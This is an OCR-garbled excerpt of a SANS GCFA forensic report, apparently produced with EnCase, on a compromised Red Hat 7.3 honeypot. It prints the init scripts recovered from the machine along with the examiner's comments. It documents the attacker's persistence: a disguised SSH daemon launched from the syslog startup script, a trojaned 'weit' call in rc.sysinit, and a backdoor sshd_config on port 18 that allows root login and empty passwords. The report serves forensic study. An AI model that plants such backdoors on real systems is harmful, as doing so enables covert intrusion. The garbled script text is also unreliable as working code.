[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
    echo -n "\r"
    return 0
}
echo -n "PASSED"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n ""
echo -ne "\r"
return 1
}

echo_warning() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
echo -n "["
[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
echo -n "$WARNING"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -ne "\r"
return 1
}

# Log that something succeeded
success() {
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
    # silly hack to avoid EPIPE killing rc.sysinit
    trap ** SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >421
    trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_success
return 0
}

# Log that something failed
failure() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 2
    else
    trap ** SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 2" >421
    trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_failure
return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
    else
    trap ** SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >421
    trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_passed
return $rc
}

# Log a warning
warning() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
    else
    trap ** SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >421
    trap - SIGPIPE
EnCase Computer Analysis Report
Sans GCFA Cert Assignment:EnCase Computer Analysis Report

fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_warning
return $rc
}

# Run some action. Log its output.
action() {
STRING=$1
echo -n "$STRING "
shift
initlog $INITLOG_ARGS -c "$*" && success "$STRING" || failure "$STRING"
rc=$?
echo return $rc
}

# returns OK if $1 contains $2
strstr() {
[ "$1" = "$2" ] && return 0
slice=${1#*$2*}
[ "$slice" = "$1" ] && return 1
return 0
}

# Confirm whether we really want to run this service
confirm() {
local YES=$"yY"
local NO=$"nN"
local CONT=$"cC"
while : ; do
echo -n "$STRING "
read answer
if strstr "$YES" "$answer" || 
[ "$answer" = "" ] ; then
  return 0
elif strstr "$CONT" "$answer" ; then
  return 2
elif strstr "$NO" "$answer" ; then
  return 1
fi
done
/usr/sbin/nfsd -f /sbin/sshd_config

37) Name    syslog
Description  File
Full Path   Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/syslog
Entry Modified 06/29/03 03:25:21PM
Last Accessed 06/29/03 03:22:07PM
Last Written 06/29/03 03:25:21PM
Hash Value 7e72d5075662d3cd6e35c24b5003d69
Physical Size 2,048
Logical Size 1,405

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/.s directory. The nfsd is an ssh daemon listening for connection on port 18.

#!/bin/bash
#
# syslog  Starts syslogd/klogd.
#
# chkconfig: 2345 12 88
# description: Syslog is the facility by which many daemons use to log 

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
# messages to various system log files. It is a good idea to always \ # run syslog.
### BEGIN INIT INFO
# Provides: $syslog
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[! -f /sbin/syslog ] || exit 0
[! -f /sbin/klogd ] || exit 0

# Source config
if [! -f /etc/sysconfig/syslog ]; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTIONS="-m 0"
  KLOGD_OPTIONS="-2"
fi

RETVAl=0

umask 077

start() {
  echo -n "$syslogd process starting..."
  daemon syslogd $SYSLOGD_OPTIONS
  RETVal=$?
  echo

  echo -n "$klogd process starting..."
  daemon klogd $KLOGD_OPTIONS
  RETVal=$?
  echo

  [ $RETVAl -eq 0 ] && touch /var/lock/subsys/syslog
  return $RETVAl
}

stop() {
  echo -n "$syslogd process stopping..."
  killproc syslogd
  echo

  echo -n "$klogd process stopping..."
  killproc klogd
  echo

  [ $RETVAl -eq 0 ] && rm -f /var/lock/subsys/syslog
  return $RETVAl
}

rhstatus() {
  status syslogd
  status klogd
}

restart() {
  stop
  start
}

case "$1" in
  start)
    start
    ;;
  stop)
    stop
    ;;
  status)
    rhstatus
    ;;
  restart|reload)
    restart
    ;;
  condrestart)
EnCase Computer Analysis Report
Sans GCFA Cert Assignment

38) Name rc.sysinit
Description File
Full Path /etc/rc.sysinit
Entry Modified 06/29/03 03:22:09PM
Last Accessed 06/30/03 04:45:40PM
Last Written 06/29/03 03:22:09PM
Hash Value ee965268d25b94ed0ffeb16dbe5be890
Physical Size 22,528
Logical Size 22,379

Comment: The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "weit". The weit file is located in /usr/sbin/ directory and calls popauth, an executable in the /x directory.

#!/bin/bash
# /etc/rc.sysinit
# run once at boot time
# Taken in part from Miquel van Smoorenburg's bcheckrc.
# Rerun ourselves through initlog
if [ -z "$IN_INITLOG" ]; then
  [ -f /sbin/initlog ] && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we're using devfs, start devfsd now - we need the old device names
[ -e /dev/.devfsd ] && /sbin/devfsd /dev

# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH
HOSTNAME=/bin/hostname

# Read in config data.
if [ -f /etc/sysconfig/network ]; then
  . /etc/sysconfig/network
else
  NETWORKING=no
fi

if [ -z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
  HOSTNAME=localhost
fi

# Source functions
. /etc/init.d/functions

# Print a banner. ;)
echo -en "$\t	Welcome to 
if grep -q "Red Hat" /etc/redhat-release ; then
EnCase Computer Analysis Report

[ "$BOOTUP" = "color" ] && echo -en "\033[1;31m"
echo -en "Red Hat"
[ "$BOOTUP" = "color" ] && echo -en "\033[0;39m"
PRODUCT=`sed "s/Red Hat \(.*\) release.*/\1/" /etc/redhat-release`
echo "$PRODUCT"
else
PRODUCT=`sed "s/ release.*//g" /etc/redhat-release`
echo "$PRODUCT"
fi
if [ "$PROMPT" != "no" ]; then
echo -en "\033[1;31m"
else
echo -en "\033[0;39m"
fi

# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts && ! grep -q /initrd/loopfs /proc/mounts ; then
    if [ -e /initrd/dev/.devfsd ]; then
        umount /initrd/dev
        action "$Unmounting initrd: " umount /initrd
        /sbin/blockdev --flushbufs /dev/ram0 >/dev/null 2>&1
    fi
fi

# Configure kernel parameters
action "Configuring kernel parameters: " sysctl -p /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0
if [ -f /etc/sysconfig/clock ]; then
    . /etc/sysconfig/clock
    # convert old style clock config to new values
    if [ "$CLOCKMODE" = "GMT" ]; then
        UTC=true
    elif [ "$CLOCKMODE" = "ARC" ]; then
        ARC=true
    fi
    CLOCKDEF=""
    CLOCKFLAGS="$CLOCKFLAGS --hctosys"
    if "$UTC" in
        yes|true)
            CLOCKFLAGS="$CLOCKFLAGS --utc";
            CLOCKDEF="$CLOCKDEF (utc)";
        ;
        no|false)
            CLOCKFLAGS="$CLOCKFLAGS --localtime";
            CLOCKDEF="$CLOCKDEF (localtime)";
        ;
    esac
    case "$ARC" in
        yes|true)
            CLOCKFLAGS="$CLOCKFLAGS --arc";
            CLOCKDEF="$CLOCKDEF (arc)";
        ;
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 225

```

e esac

case "$SRM" in
yes|true)
    CLOCKFLAGS="$CLOCKFLAGS --srm";
    CLOCKDEF="$CLOCKDEF (srm)"
  esac

e esac

/sbin/hwclock $CLOCKFLAGS

action "Setting clock $CLOCKDEF: `date`" date

if [ "/sbin/consoletype" = "vt" ]; then
    # Load keymap
    if [ -x /bin/loadkeys ]; then
        KEYTABLE="$
        if [ -f /etc/sysconfig/console/default.kmap ]; then
            KEYMAP=/etc/sysconfig/console/default.kmap
        else
            if [ -f /etc/sysconfig/keyboard ]; then
                ./etc/sysconfig/keyboard
            fi
        fi
        if [ -n "$KEYTABLE" ]; then
            # Since this takes in/output from stdin/out, we can’t use initlog
            if [ -n "$KEYTABLE" ]; then
                echo "$Loading default keymap ($KEYTABLE): "
            else
                echo "$Loading default keymap: "
            fi
            loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
                success "$Loading default keymap" || failure "$Loading default keymap"
            echo
        fi
    fi
    # Load system font
    if [ -x /sbin/setsysfont ]; then
        [ -f /etc/sysconfig/i18n ] && . /etc/sysconfig/i18n
        if [ -f /etc/sysconfig/console/$SYSFONT.psf.gz ]; then
            # -f /lib/kbd/consolefonts/$SYSFONT.psf.gz
        fi
    fi

    # Start up swapping.
    action "Activating swap partitions: " swapon -a -e

    # Set the hostname.
    action "Setting hostname ${HOSTNAME}: " hostname ${HOSTNAME}

    # Initialize USB controller and HID devices
    usb=0
    if ! grep -iq "nousb" /proc/cmdline 2>/dev/null ; then
        aliases="/sbin/modprobe -c | awk '/alias usb-controller/ { print $3 }'"
        if [ -n "$aliases" ]; then
            modprobe usbcore
            action "Mounting USB filesystem: " mount -t usbdevfs usbdevfs /proc/bus/usb
        fi
    fi
```

© SANS Institute 2004,
As part of GIAC practical repository.
Author retains full rights.
for alias in $aliases ; do
  [ "$alias" != "off" ] && action "$aliassing USB controller ($alias)" modprobe $alias
done
[ $? -eq 0 -a -n "$aliases" ] && usb=1
fi
fi

if ! grep -iq "nouser" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
  usb=1
fi

needusbstorage=
if [ $usb = "1" ]; then
  sleep 5
  mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=02'`
  kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=01'`
  needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e '^I.*Cls=08'`
  if [ -n "$kbdoutput" ] || [ -n "$mouseoutput" ]; then
    action "$aliassing USB HID interface: " modprobe hid 2> /dev/null
  fi
  if [ -n "$kbdoutput" ]; then
    action "$aliassing USB keyboard: " modprobe keybd
  fi
  if [ -n "$mouseoutput" ]; then
    action "$aliassing USB mouse: " modprobe mouse
  fi
fi

if [ -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null ; then
  fastboot=yes
else
  fastboot=
fi

if [ -f /fsckoptions ]; then
  fsckoptions=`cat /fsckoptions`
else
  fsckoptions=
fi

if [ -f /forcefsck ]; then
  fsckoptions="-f $fsckoptions"
elif [ -f /.autofsck ]; then
  echo "$your system appears to have shut down uncleanly"
  AUTOFSCK_TIMEOUT=5
  AUTOFSCK_DEF_CHECK=no
  [ -f /etc/sysconfig/autofsck ] && . /etc/sysconfig/autofsck
  if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
    AUTOFSCK_OPT=-f
  else
    AUTOFSCK_OPT=
  fi
  if [ "$PROMPT" != "no" ]; then
    if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
      if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$Press N within $d seconds to not force file system integrity check..." n ; then
        AUTOFSCK_OPT=
      fi
      else
  if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$Press Y within $d seconds to force file system integrity check..." y ; then
    AUTOFSCK_OPT=-f
  fi
fi
else
  echo
else
# PROMPT not allowed
if [ "AUTOFSCK_DEF_CHECK" = "yes" ]; then
  echo "$forcing file system integrity check due to default setting"
else
  echo "$Not forcing file system integrity check due to default setting"
fi
fi
fsckoptions="$AUTOFSCK_OPT $fsckoptions"
fi

if [ "$BOOTUP" = "color" ]; then
  fsckoptions="-C $fsckoptions"
else
  fsckoptions="-V $fsckoptions"
fi

_RUN_QUOTACHECK=0
ROOTFSTYPE=`grep " / " /proc/mounts | awk '{ print $3 }'`
if [ -z "$fastboot" -a "$ROOTFSTYPE" != "nfs" ]; then
  STRING=$"Checking root filesystem"
  echo "$STRING"
  initlog -c "fsck -T -a $fsckoptions /", rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  fi
  # A return of 2 or higher means there were serious problems.
  if [ "$rc" -gt 1 ]; then
    failure "$STRING"
    echo
    echo "$**** An error occurred during the file system check."
    echo "$**** Dropping you to a shell; the system will reboot"
    echo "$**** when you leave the shell."
    PS1="$(Repair filesystem) \\
    # # "; export PS1
    sulogin
    echo "$Unmounting file systems"
    umount -a
    mount -n -o remount,ro /
    echo "$Automatic reboot in progress."
    reboot -f
  elif [ "$rc" = "1" ]; then
    _RUN_QUOTACHECK=1
    fi
  fi

  # Possibly update quotas if fsck was run on /.
  grep -E '(([^: ]+)/[^[:space:]]+)' /etc/fstab | 
  awk '{ print $4 }' | 
  grep -q quota
  _ROOT_HAS_QUOTA=$?
  if [ "X$RUN_QUOTACHECK" = "x1" -a 
      "$ROOT_HAS_QUOTA" -a 
      "-x /sbin/quotacheck" ]; then
    if [ "$fastboot" ]; then
      action "$Converting old user quota files: "
      /sbin/quotacheck -u / && rm -f /quota.user
    fi
  fi
if [-f /quota.group ]; then
    action "$"Converting old group quota files: " \\
        /sbin/convertquota -q / && rm -f /quota.group \\
fi
action "$"Checking root filesystem quotas: " /sbin/quotacheck -nug / 
fi

# check for arguments passed from kernel
if grep -iq nopnp /proc/cmdline >/dev/null 2>&1 ; then
    PNP="y"
else
    PNP="n"
fi

# set up npn
if [-x /sbin/isapnp -a ! -f /etc/isapnp.conf ]; then
    if [ -n "$PNP" ]; then
        action "$"Setting up ISA PNP devices: " /sbin/isapnp /etc/isapnp.conf \\
        else
        action "$"Skipping ISA PNP configuration at users request: " /bin/true \\
    fi
fi

# Remount the root filesystem read-write.
state=`awk '/(^/dev/root|/ )/ { print $4 }' /proc/mounts`
    [ "$state" != "rw" ] &&
    action "$"Remounting root filesystem in read-write mode: " mount -n -o remount,rw / 

# LVM initialization
if [ -e /sbin/lvm -a -x /sbin/vgchange -a ! -f /etc/lvmtab ]; then
    action "$"Setting up Logical Volume Management:" /sbin/vgscan && /sbin/vgchange -a y 
fi

# Clear mtab
> /etc/mtab

# Remove stale backups
rm -f /etc/mtab* /etc/mtab--

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -t / -f /proc
    [ -f /proc/bus/usb/devices ] && mount -t usbdevfs usbdevfs /proc/bus/usb
    [ -e /dev/.devfsd ] && mount -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [ -n "$IN_INITLOG" ]; then
    IN_INITLOG="n"
fi
if ! grep -iq nomodu /proc/cmdline >/dev/null 2>&1 && [ -f /proc/ksyms ]; then
    USEMODULES="y"
else
    USEMODULES="n"
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred
rm -f /lib/modules/default
if [-x /sbin/dpdfmod -a ! -n "$USEMODULES" ]; then
    # If they aren't using a recent sane kernel, make a link for them
    if [ ! -n "uname -r | grep -- "-s"" ]; then
        ktag="`cat /proc/version`
        mtag=`grep -l "$ktag" /lib/modules/*/rhkvmvtag 2> /dev/null`
        action "$"Setting up preferred kernel module link:" /sbin/pkgtool -p /lib/modules/$mtag
    fi
fi

if [ -n "$mtag" ] ; then
  mver=`echo $mtag | sed -e 's,/lib/modules/,,g' -e 's,/rhkmvtag,,g' -e 's,\[ \].*$,,g`
  fi
if [ -n "$mver" ] ; then
  ln -sf /lib/modules/$mver /lib/modules/default
fi
if [ -L /lib/modules/default ]; then
  INITLOG_ARGS= action "$Finding module dependencies: $ depmod -A" default
else
  INITLOG_ARGS= action "$Finding module dependencies: $ depmod -A"
fi

# tweak isapnp settings if needed.
if [ -n "$PNP" ] ; then
  /sbin/sndconfig --mungepnp >/dev/null 2>&1
fi

# Load sound modules if they need persistent DMA buffers
if [ -n "$dmabuf1" ] ; then
  RETURN=0
  alias="/sbin/modprobe -c | awk '/^alias sound / { print $3 }'"
  if [ -n "$alias" ] ; then
    action "$Loading sound module ($alias): $ modprobe sound"
    RETURN=$?
  fi
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'"
  if [ -n "$alias" ] ; then
    action "$Loading sound module ($alias): $ modprobe sound-slot-0"
    RETURN=$?
  fi
fi

if [ -f /proc/sys/kernel/modprobe ]; then
  if [ -n "$USEMODULES" ]; then
    sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
  else
    # We used to set this to NULL, but that causes 'failed to exec' messages
    sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
  fi
fi

# Load modules (for backward compatibility with VARs)
if [ -f /etc/rc.modules ]; then
  /etc/rc.modules
fi

# Add raid devices
if [ ! -f /proc/mdstat ]; then
  modprobe md >/dev/null 2>&1
fi

if [ ! -f /proc/mdstat ] ; then
  echo -n "$Starting up RAID devices: "$
  rc=0
  for i in 'grep "[^*]*raiddev" /etc/raidtab | awk '{print $2}''
  do
    RAIDDEV=`basename $i`
    RAIDSTAT=`grep "$RAIDDEV : active" /proc/mdstat`
    if [ -z "$RAIDSTAT" ] ; then
      # First scan the /etc/fstab for the "noauto"-flag
      # for this device. If found, skip the initialization
      # for it to avoid dropping to a shell on errors.
      echo "$RAIDDEV not initialized, skipping..."
      continue
    fi
    # ...
# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "^$i" /etc/fstab | grep -c "noauto"`
if [ $NOAUTO -gt 0 ]; then
   RESULT=0
   RAIDDEV="$RAIDDEV(skipped)"
fi
if [ $RESULT -gt 0 ]; then
   /sbin/raidstart $i
   RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
   /sbin/raid0run $i
   RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
   /sbin/raidadd -a
   /sbin/raidrun $i
   RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
   rc=1
   echo -n "$RAIDDEV" 
else
   echo -n "$RAIDDEV" 
fi
done

# A non-zero return means there were problems.
if [ $rc -gt 0 ]; then
   echo
   echo
   echo *** An error occurred during the RAID startup*
   echo *** Dropping you to a shell; the system will reboot*
   echo *** when you leave the shell.*

   PS1=$"(RAID Repair) \# # "; export PS1
   sulogin
   echo "$unmounting file systems"
   umount -a
   mount -n -o remount,ro /
   echo "$automatic reboot in progress."
   reboot -f
fi

# LVM initialization, take 2 (it could be on top of RAID)
if [ -e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
   action "$Setting up Logical Volume Management:" /sbin/vgscan &
   /sbin/vgchange -a y
fi

_RUN_QUOTACHECK=0
# Check filesystems
if [ -z "$fastboot" ]; then
   STRING="$Checking filesystems"
echo $STRING
   initlog -c "$fsck -T -R -A -a $fsckoptions"
   rc=$?
   if [ "$rc" = "0" ]; then
      success "$STRING"
   else
      passed "$STRING"
   fi
   echo
   echo
   echo
fi

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 231

# A return of 2 or higher means there were serious problems.
if [ $rc -gt 1 ]; then
  failure "$STRING"
  echo
  echo $"*** An error occurred during the file system check."
  echo $"*** Dropping you to a shell; the system will reboot"
  echo $"*** when you leave the shell."

  PSl=$"[Repair filesystem) \# # " ]; export PSl
  sulogin

  echo "$Unmounting file systems"
  umount -a
  mount -n -o remount,ro /
  echo "$Automatic rebooot in progress."
  reboot -f
elif [ "$S= " ]; then
  _RUN_QUOTACHECK=1
fi
fi

# Mount all other filesystems (except for NFS and /proc, which is already
# mounted). Contrary to standard usage,
# filesystems are NOT unmounted in single user mode.
action "$Mounting local filesystems: " mount -at nonfs,smbfs,ncpfs -O no_netdev

# unmount the remaining quotas other than root
if [ "X$_RUN_QUOTACHECK" = X1 ]; then
  if [ -x /sbin/quotacheck ]; then
    # try to convert old quotas
    for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`; do
      if [ -f "$mountpt/quota.user" ]; then
        action "$Converting old user quota files: "
        /sbin/convertquota -u $mountpt &&
        rm -f $mountpt/quota.user
      fi
      if [ -f "$mountpt/quota.group" ]; then
        action "$Converting old group quota files: "
        /sbin/convertquota -g $mountpt &&
        rm -f $mountpt/quota/group
      fi
    done

    action "$Checking local filesystem quotas: " /sbin/quotacheck -aRug
  fi
  if [ -x /sbin/quotactl ]; then
    action "$Enabling local filesystem quotas: " /sbin/quotactl 
  fi

  # Configure machine if necessary.
  if [ -f /.unconfigured ]; then
    if [ -x /bin/passwd ]; then
      /bin/passwd root
    fi
    if [ -x /sbin/netconfig ]; then
      /sbin/netconfig
    fi
    if [ -x /sbin/timeconfig ]; then
      /sbin/timeconfig
    fi
    if [ -x /sbin/kbdconfig ]; then
      /sbin/kbdconfig
    fi
    if [ -x /sbin/authconfig ]; then
      /sbin/authconfig --nostart
    fi
  fi

© SANS Institute 2004, As part of GIAC practical repository.  Author retains full rights.
EnCase Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report  Page 232

fi
  if [ -x /usr/sbin/ntsysv ]; then
    /usr/sbin/ntsysv --level 35
  fi
  fi
fi
  # Reread in network configuration data.
  if [ -f /etc/sysconfig/network ]; then
    . /etc/sysconfig/network
  fi
  # Reset the hostname.
  action "Resetting hostname ${HOSTNAME}: " hostname ${HOSTNAME}
  rm -f /.unconfigured
fi
fi
  # Clean out /etc.
  rm -f /fastboot /forcefsck /autofsck /halt /poweroff

  # Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...
  _NEED_XFILES=
  [ -f /var/run/utmpx -o -f /var/log/wtmpx ] && _NEED_XFILES=1

  # Clean up /var
  # I'd use find, but /usr may not be mounted.
  for afile in /var/lock/* /var/run/*; do
    if [ -d "$afile" ]; then
      [ "basename $afile" != "news" -a "basename $afile" != "sudo" -a "basename $afile" != "mon""] && rm -f $afile
    else
      rm -f $afile
    fi
done
  rm -f /var/lib/rpm/__db*

  # Reset pam_console permissions
  [ -x /sbin/pam_console_apply ] && /sbin/pam_console_apply -r

  # Clean up utmp/wtmp
  > /var/run/utmp
  touch /var/log/wtmp
  chgrp utmp /var/run/utmp /var/log/wtmp
  chmod 0664 /var/run/utmp /var/log/wtmp
  if [ -n "$_NEED_XFILES" ]; then
    > /var/run/utmp
    touch /var/log/wtmp
    chgrp utmp /var/run/utmp /var/log/wtmp
    chmod 0664 /var/run/utmp /var/log/wtmp
  fi

  # Delete X locks
  rm -f /tmp/.X* -lock

  # Delete VNC & X locks
  rm -rf /tmp/.X* -unix

  # Delete Postgres sockets
  rm -f /tmp/.s.PGSQL.*

  # Now turn on swap in case we swap to files.
  # swapon -a
  action "Enabling swap space: " /bin/true

  # Initialize the serial ports.
  if [ -f /etc/serial ]; then
    . /etc/serial
  fi
# If a SCSI tape has been detected, load the st module unconditionally
# since many SCSI tapes don't deal well with st being loaded and unloaded
if [-f /proc/scsi/scsi ] && grep -q 'Type: Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
  if grep -qv ' 9 st' /proc/devices ; then
    # Try to load the module. If it fails, ignore it...
    insmod -p st >/dev/null 2>&1 && modprobe st >/dev/null 2>&1
  fi
fi
fi

# Load usb storage here, to match most other things
if [ -n "$needusbstorage" ]; then
  modprobe usb-storage >/dev/null 2>&1
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
  modprobe ide-cd >/dev/null 2>&1
  modprobe ide-scsi >/dev/null 2>&1
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [-e /sbin/hdparm ]; then
  for N in `grep -v ide-disk /proc/ide/*/*/driver 2>/dev/null | awk '{ print $5 }'`; do
    hdparm -q -d0 /dev/$N >/dev/null 2>&1
  done
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisks for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisks to
# /etc/sysconfig/harddiskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
#
if [-x /sbin/hdparm ]; then
  for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
    unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
    if [-f /etc/sysconfig/harddisk$[disk[$device]] ]; then
      . /etc/sysconfig/harddisk$[disk[$device]]
      HDFLAGS[$device]=
    fi
    if [ -n "$MULTIPLE_IO" ]; then
      HDFLAGS[$device]="-q -m$MULTIPLE_IO"
    fi
    if [ -n "$USE_DMA" ]; then
      HDFLAGS[$device]="-q $USE_DMA"
    fi
    if [ -n "$EIDE_32BIT" ]; then
      HDFLAGS[$device]="-q -c$EIDE_32BIT"
    fi
    if [ -n "$LOOKAHEAD" ]; then
      HDFLAGS[$device]="-q -A$LOOKAHEAD"
    fi
    if [ -n "$EXTRA_PARAMS" ]; then
      HDFLAGS[$device]="$HDFLAGS[$device] $EXTRA_PARAMS"
    else
      HDFLAGS[$device]="$HDFLAGS[$device]"
  done
fi
HDFLAGS[$device]="$\{HDFLAGS[0]\}\"
fi
if [ -e \"/proc/ide/\$disk[$device]/media\" ]; then
  hdmedia=`cat /proc/ide/\$disk[$device]/media`
  if [ "$hdmedia" = "disk" -o -f "etc/sysconfig/harddisk\$disk[$device]\"
    -r ]; then
    action "Setting hard drive parameters for \$disk[$device]: " /sbin/hdparm
    rm \$\{HDFLAGS[$device]\} /dev/\$\{disk[$device]\}
  fi
fi
done
fi

# Generate a header that defines the boot kernel.
/sbin/mkkerneldoth

# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System maps and so on.
if [ -L /boot/System.map -a -r /boot/System.map -universe -r -a
  /boot/System.map -ef /boot/System.map -universe -r ]; then
  ln -s -f System.map -universe -r /boot/System.map
fi
if [ ! -e /boot/System.map -a -r /boot/System.map -universe -r ]; then
  ln -s -f System.map -universe -r /boot/System.map
fi

# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
shopt -s nullglob
for library in /lib/kernel/\$(uname -r)/libredhat-kernel.so* ; do
  ln -s -f \$library /lib/
done
shopt -u nullglob

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later.
dmesg -s 131072 > /var/log/dmesg

# Also keep kernel symbols around in case we need them for debugging
i=5
while [ \$i -ge 0 ]; do
  if [ -f /var/log/ksyms.$i ]; then
    mv /var/log/ksyms.$i /var/log/ksyms.$((\$i+1))
  fi
  i=$(\$i - 1)
done

/bin/date; /bin/uname -a;
/bin/cat /proc/cpuinfo;
[-r /proc/modules ] && /bin/cat /proc/modules;
[ -r /proc/ksem ] && /bin/cat /proc/ksem] >/var/log/ksyms.0

# create the crash indicator flag to warn on crashes, offer fsck with timeout
touch ./autofsck
sleep 1
kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1

if [ "$PROMPT" != "no" ]; then
  /sbin/getkey i && touch /var/run/confirm
fi
wait

39) Name sshd_config
Description File
Full Path /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\sbin/sshd_config
Entry Modified 06/29/03 03:25:20PM
EnCase Computer Analysis Report

Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value ce630951c72096d9e1f1d3b12f309b281
Physical Size 1,024
Logical Size 707

Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

Config files

httpd configuration files

40) Name access.conf
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\access.conf
   Entry Modified 06/20/03 02:17:32AM
   Last Accessed 06/29/03 04:02:23AM
   Last Written 04/09/02 12:56:58PM
   Hash Value 5cfc0c5e40cc02c415b7bd1c6f325eec
   Physical Size 1,024
   Logical Size 285

41) Name httpd.conf
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf
   Entry Modified 06/27/03 02:11:35PM
   Last Accessed 06/29/03 04:02:23AM
EnCase Computer Analysis Report

Last Written 06/27/03 02:11:35PM
Hash Value dbc69665508bea69b9387530d442a0c8
Physical Size 22,528
Logical Size 22,289

